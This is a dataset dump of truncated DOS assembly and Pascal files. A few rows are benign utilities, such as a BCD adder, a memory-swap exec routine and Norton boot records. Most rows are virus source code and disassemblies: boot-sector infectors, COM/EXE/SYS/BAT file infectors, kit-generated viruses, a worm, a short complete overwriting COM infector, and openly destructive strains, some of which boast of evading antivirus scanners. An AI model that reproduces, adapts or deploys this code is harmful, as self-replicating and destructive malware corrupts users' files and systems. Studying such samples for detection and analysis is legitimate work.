text stringlengths 0 20k |
|---|
SUBR PROC FAR
SPACE
; -------------------------------------------------------------------
; ADD BCD NUMBERS
; THIS ROUTINE ADDS TWO BCD NUMBERS OF EQUAL LENGTH
; ASSUMPTIONS:
; CX CONTAINS THE LENGTH OF THE FIELDS BEING ADDED
; SI POINTS TO THE LEFTMOST BYTE OF THE BCD DATA
; DI POINTS TO THE SECOND OPPER... |
.model large
;EXECSWAP.ASM
; Swap memory and exec another program
; Copyright (c) 1988 TurboPower Software
; May be used freely as long as due credit is given
;-----------------------------------------------------------------------------
;DATA SEGMENT BYTE PUBLIC
.data
EXTRN _BytesSwapped:DWORD ;B... |
;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; ... |
PAGE 59,132
;
;
; STONE
;
; Created: 1-Jan-80
; Passes: 5 Analysis Options on: none
;
;
d_0000_004C_e equ 4Ch
d_0000_004E_e equ 4Eh
main_ram_size_ equ 413h
timer_low_ equ 46Ch
d_0000_7C00_e equ 7C... |
;assembly language shell for a simple COM file program
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
START:
FINISH: mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
MAIN ENDS
END START
|
535 virus:
11E3:0100 E90404 JMP 0507
11E3:0103 49 DEC CX
11E3:0104 60 DB 60
11E3:0105 6D DB 6D
11E3:0106 2035 AND [DI],DH
11E3:0108 3335 XOR SI,[DI]
11E3:010A 205649 AND [BP+49],DL
11E3:010D 52 PUSH DX
11E3:010E 55 PUSH BP
11E3:010F 53 PUSH BX
11E3:0110 210D AND [DI],CX
11E3:0112 0A24 OR AH,[SI]
11E3:0114 00... |
.model tiny
.code
org 100h
; I made this virus for several month ago, then I forgott it. I recently found
; it on my harddrive, and I compiled it and tried it. To my amazement it worked!
;
; Soldier BOB infects .COM and .EXE files when you execute a file. It also
; saves up to 20 files into a buffer when you... |
NAME XX2
PAGE 55,132
TITLE ?????
len equ offset handle-offset main2
enlen1 equ offset int21-offset main3
code segment
ASSUME CS:CODE,... |
; Resident program to provide flicker-free write_tty scroll for Color
; Graphics Adapter clones with dual-ported memory. M. Abrash 5/3/86.
; Make runnable with MASM-LINK-EXE2BIN.
cseg segment
assume cs:cseg
org 100h ;necessary for COM file
start proc near
jmp makeres
old_int10 dd ?
; front end routine for BIOS vid... |
;Sysinf.asm????
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw off... |
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
PartPage equ this word+02h
PageCount equ this word+04h
HdrSize equ this word+08h
MinMem equ this word+0ah
MaxMem equ this word+0ch
ExeSS equ this word+0eh
ExeSP equ this word+10h
ExeSignat... |
;************************************
;************** STINGER *************
;******** (c) 1996 by [TAVC] ********
;********** -=* RedArc *=- **********
;************************************
Model tiny
.code
.386
kode_crypt equ 0
ORG 100h
START:
pusha
push ds
push es
push cs
... |
;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;
.model tiny
.code
org 100h ; ori... |
Spyte Virus Source Code
Ripped by : The Head Hunter [FS]
Unscannable (Yet...)
;
db ff,c3,55,89,e5,a1,d4,02,05,96,00,a3,fa,ff,f0,7f,36,fc,... |
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offs... |
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
PUSH SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int21h: STI
cmp ah,4bh
jz mm
jmp int1hh
mm: pushf
PUSH AX
... |
System Lock Virus Source.
Ripped by : The Head Hunter [FS]
I don't know what it do, and don't wanna know
for sure... One thing... It does it.
;
Main: JMP Jmp0
db 02,00,00,00,02,00,00,00,00,00,00,00... |
.model tiny
.code
.radix 16
.code
; Phalcon/Skism _Small virus
; Written by Dark Angel of Phalcon/Skism
; 278 byte generic COM/EXE infector
EXE_ID = -40
viruslength = heap - _small
startload = 90 * 4
_small:
call ... |
; Survive a warm reboot on a XT.
;
; Compile under Turbo Assembler 2.5
; This program works on a generic IBM PC/XT
.model tiny
.radix 16
.code
org 100
start:
jmp init
handler:
push ds
push ax
xor ax,ax
mov ds,ax
... |
; soitgoes.asm : [So it goes.]
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0AC3Ch
INFECT equ 1
code segment
org 100h
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
... |
; ------------------------------------------------------------------------- ;
; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: ;
; ... |
;****************************************************************************
;* The Sundevil Virus *
;* (C)1993 by Crypt Keeper *
;****************************************************************************
;Parasi... |
.286
.model tiny
.radix 16
.code
a equ 0B8
org 100
e: dec bp
push si
push cs
push cs
scasw
mov al,27
mov bl,14
mov es,ax
pusha
cmpsw
popa
mov cl,l-e
rep movsb ;... |
; sarah.asm : {Sarah} by Gehenna
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file sarah.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 0 ; For easy calculation of ... |
;
; Servant Virus by John Tardy / TridenT
;
; Virus Name: Servant
; Aliases:
; V Status: Released
; Discovery: Not (yet)
; Symptoms: .COM growth, message on Novell File server
; Origin: The Netherlands
; Eff Length: 444 Bytes
; Type Code: PNC - Parasitic Non-Resident .COM Infector
; Detection Method:
;... |
; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP... |
;
; grafix --- graflib.asm
;
; miscellaneous assembly routines
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title graflib
include macros.ah
buflen equ 32768
sseg
endss
dseg
endds
buf segment public 'BUF'
db bu... |
; 'Gunther': A Virus From the Virus Creation 2000 System
; The Virus Creation 2000 System is Copywrited by John Burnette
; All Rights Reserved.
; Author: Havoc The Chaos
; Notes: Fr my lurv, Kiersten B.
; Greetings: Dark Angel, DecimatoR, Dark Avenger (You still out there?)
; The Additude Adjuster, Mucho M... |
;******************************************************************************
;
; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis
;
;******************************************************************************
;
; Virus name : Great_Prepender
; Author : Rajaat
; Origin : United Kingd... |
cseg segment para public 'code'
gold_bug proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
TRUE equ... |
;
; ⪮, ⮫쪮 ⮬ ᬠਢ
; source code. ( ࠢ ࠧ ਤ :-)).
;
; 쪠 (쪠) , ৮, , ⨭...
;
; 饬, , ࠦ 直 ⠬ 䠩 ⪥
; - 䠬 .COM, - ठ
; 21- , 뢠 ⥫ ୮ , ࠦ
; 䠩 ਪ (⠪ ⨯ 窨, ᯮ
; த ᥪ -祣
; ), ᯮ 4- 砫, 稥
; ⠪: AX BABA ( , ⠪
; , word 0BABAh), 믮 21- ⮢ ᬮ,
; 0FACCh. , 窮 ⭮.
;
; Copyright (c) 1992, Gogi&G... |
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibilit... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
dTZ=^"~Ob 4GLiTCH@b fTtZVFgAb
dJ/ `Gb ]M! qS) 1BC >BD
dW ` Vb di/ 4*-+=%C
[Ii +-=H>:Ev' @F qBb
qLI {Onfra] I;7 i5I )B
qN\ >Gp ?#W {$L dYp
q#=EZXBP' L2J L8Z=Kg0aJ
by GLiTCH
THE ... |
; Green_Caterpillar.1575.A
; TASM /M
seg000 segment byte public 'CODE'
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000
start proc near
jmp short RealStart
db 90h
Int21Ofs dw 0
Int21Seg dw 0
Int1COfs dw 0
Int1CSeg dw 0
exeHeader dw 20CDh
exeMOD dw 9090h
exeDIV dw 0
exeNumSeg dw 0
exe... |
Virus Name: GOLD-BUG
Aliases: AU, GOLD, GOLD-FEVER, GOLD-MINE
V Status: New, Research
Discovery: January, 1994
Symptoms: CMOS checksum failure; Creates files with no extension; Modem
answers on 7th ring; BSC but it is hidden; Most virus scanners
fail to run or are Deleted; CHKLIST.??? files del... |
; GEN12.ASM -- Genesis 1:2 Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main... |
Program Worm;
{$M 2048,0,4096}
Uses Dos, Crt;
Var F1 : File;
F2 : File;
O : String;
Parm : String;
P : DirStr;
N : NameStr;
E : ExtStr;
Buf : Array[0..8000] of Byte;
NumRead : Word;
NumWritten : Word;
DirInfo : SearchRec;
... |
;****************************************************************************
;* stripped COM-versie
;* met signature's
;*
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
... |
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; ... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: GANDALF.ASM
; Gandalf by Ender
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
org 0100h
... |
xor cx,cx
mov dx,offset File
mov ah,4eh
int 21h
z:
mov dx,9eh
mov ax,3d02h
int 21h
mov bx,ax
mov dx,100h
mov cl,27h
mov ah,40h
int 21h
mov ah,3eh
int 21h
mov ah,4fh
int 21h
jnc z
ret
file db '*.com',0
e: |
;**************************************************************************
;** GRITHER VIRUS **
;** Created: 27 Oct 1990 **
;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on **
;** ... |
;****************************************************************************
;* stripped COM-versie
;* met signature's
;*
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
... |
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ ... |
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ ... |
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of d... |
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
... |
;
; In memoriam Virus by John Tardy / Trident
;
Org 0h
Main: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
Mov Ax,0DEADh
Int 21h
Cmp Ax,0AAAAh
Je Installed
mov ax,35... |
virus segment
assume cs:virus,ds:virus,es:nothing
org 100h
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
vstart equ $
call code_start ; call codie_startie
code_start:
pop si
sub si,offset code_start ; so we can use the lea command etc
jm... |
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy... |
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into ... |
;---------
; Bubbles 2 written by Admiral Bailey
;---------
Code Segment Public 'Code'
Assume CS:Code
Org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
MaxFiles = 3 ... |
; BROWSE.ASM -- Full Screen File Pager
; ====================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte
Org 0100h
Entry: Jmp Begin
; All Data
; --------
db 'ATTR='
Attribute db 0 ; Current screen attribute
db 'SHIFT='
ShiftHoriz db 8 ; Horizon... |
assume ss:codevir
pila segment stack 'stack'
db 64 dup ('12345678')
pila ends
code segment
anfitrion:
assume cs:code, ds:code
mov ah, 02h
mov dl, 'z'
int 21h
mov ax, 4C00h
int 21h
code ends
codevir segment
assume cs:codevir, ds:co... |
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anythi... |
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using... |
page ,132
title BootThru - v1.05
;------------------------------------------------------------------------
;
; BootThru - Copyright (c) Bill Gibson - 1987
; Lathrup Village, Mi 48076
;
; Ver. 1.00 - Initial version (not rlsd) - 01/11/87
; 1.01 - revised code structure " - 01/25/87
; 1.02 - revis... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: BOMB.ASM
; Night Boomer by (c) TNT
checkres1 = 'DA'
checkres2 = 'PS'
id = 'NB'
.model tiny
.code
; Assemb... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
inc ax
dec ax
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize ... |
;
;
;
; = == =
;
; VIRUS.
;
; A 29... |
;
; The Horse's boot sector virus
; This is an author's source
;
.radix 16
begin:
jmp start
my label word
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2d0
db 0fdh
dw 2
dw 9
dw 2
dw 0
lee label word
virlen equ offset endcode-begin
start:
cld
sub ax,ax
mov ds,ax
mov bp,7c00
cli
mov ss,ax
mov ... |
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
virus_size EQU 554
code_start EQU 0100h
code segment 'code'
assume cs:code,ds:code,es:code
org ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE ... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not
;self-reproducing, but it will be used as the foundation on which to build a
;virus into a boot sector.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care... |
PAGE 59,132
; WORK-LDR.ASM
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
drive proc far
start:
jmp short lll ; cs:0100 EB02
CS_OFFSET dw 0002h
lll: mov dx,cs
add dx... |
; BLOODY! virus
;
; Discovered an commented by Ferenc Leitold
; Hungarian VirusBuster Team
; Address: 1399 Budapest
; P.O. box 701/349
; HUNGARY
217D:0100 2EFF2E177C JMP Far CS:[7C17]
217D:0... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
nop
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; ------------------------------------------------------------------------------
;
; - Binary Obsession -
; Created by Immortal Riot's destructive development team
; (c) 1994 Metal Militia/Immortal Riot
;
; ---------------------------------------------------------------------... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
From smtp Tue Feb 7 13:16 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA01723 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:13 -0500
Date: Tue, 7 Feb 1995 13:19:13 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-L... |
;Here is the beta of Bizatch (the actual virus code) that AV authors
;around the world are calling "Boza".
;
;-----------------------------------------------------------------------------
vladseg segment para public 'vlad'
assume cs:vladseg
vstart:
call recalc
recalc:
pop ebp
mov eax,ebp
db 2dh
subme dd 30000h + (recal... |
; -Bad Attitude-
; "Created by Immortal Riot's destructive development team"
; (c) '94 The Unforgiven/Immortal Riot
;
; "If I don't have bad attitude, this virus is harmless"
;
; Notes:
; F-Prot, Scan, Tbav, Findviru can't find shits of this virus.
;
; Disclaimer:
; I... |
; The Blue Nine virus... (c) 94 Conzouler
; Resident in conventional memory
; Com infection on load and execute
; Com infection on 11/12 (dir for short - TU)
; Size stealth on 11/12
; Size stealth on 4E/4F
; Infection check: seconds=4
; Installation check: get dos version with cx=666
; Redirection stealth on 3D/3F
; N... |
;*******************************************************************************
;* *
;* THE NUMBER OF THE BEAST VIRUS *
;* *
;* This is NOT a original virus, but a modification. Main difference *
;* between original virus is, that this release support ANY DOS version *
;... |
; Boot Record Program (C) Copyright Peter Norton 1986
; From PC Magazine ca. January 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 2-sides, 9-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per norma... |
.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - bl... |
;Ŀ
; Dutche Breeze by Glenn Benton
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'C... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
;Binary Acid Virus
;by Evil Avatar
;Another lame virus by me. Then again, not bad for my second virus!
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.
;Plenty more from me to come. Stay tuned.
.model tiny ... |
;****************************************************************************
;* Beavis *
;* by Crypt Keeper *
;****************************************************************************
;Beavi... |
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ... |
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
;****************************************************************************
;* Little Brother Version 1
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN ... |
name boot2_asm
.radix 16
n_000100:
inc word ptr [7DF3]
mov bx,[7DF3]
add byte ptr [7EB2],2
call n_FFFF9D
jmp short n_00014B
n_000112:
mov ax,3
test byte ptr [7DF7],4
je n_00011D
inc ax
n_00011D:
mul si
shr ax,1
sub ah,byte ptr [7EB2]
mov bx,ax
cmp bx,1FF
jnb n_000100
mov dx,[bx+8000]
test byte ptr ... |
;
;
; BOOT_VIR
;
; Created: 9-Jul-93 Comments by Mike M.
;
;
Int60_Offset equ 180h
Int60_Segment equ 182h
main_ram_size_ equ 413h
d_0000_07B4_e equ... |
.radix 16
start:
jmp begin
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
work dd ?
count db ?
drive db ?
Fat_sec dw ?
old_boot dw 666d
flag db ?
sys_sec dw ?
;Simulate PUSHA
pusha:
pop word ptr cs:[sys_sec-start]
pushf
push ax
push bx
push cx
push dx
push si
pus... |
; Boot Record Program (C) Copyright Peter Norton 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 1-side, 8-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' Norton ' ; 8-byte sy... |
; ------------------------------------------------------------------------------
;
; - Bad Religion -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; -------------------------------------------------------------------------... |
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
name boot1_asm
.radix 16
start:
jmp boot
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
boot:
xor ax,ax
mov ss,ax
mov sp,7C00
mov ds,ax
mov ax,[413]
sub ax,2
mov [413],ax
mov cl,6
shl ax,cl
sub ax,7C0
mov es,ax
mov si,7C00
mov di,si
mov cx,100
rep movsw
db... |
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using... |
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
Xref: netcom.com alt.comp.virus:508
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: BlackKnight Virus (ANTI AV VIRUS)
Date: 29 Nov 1994 13:09:23 GMT
Organization: Netcom
Lines: 376
Distribution... |
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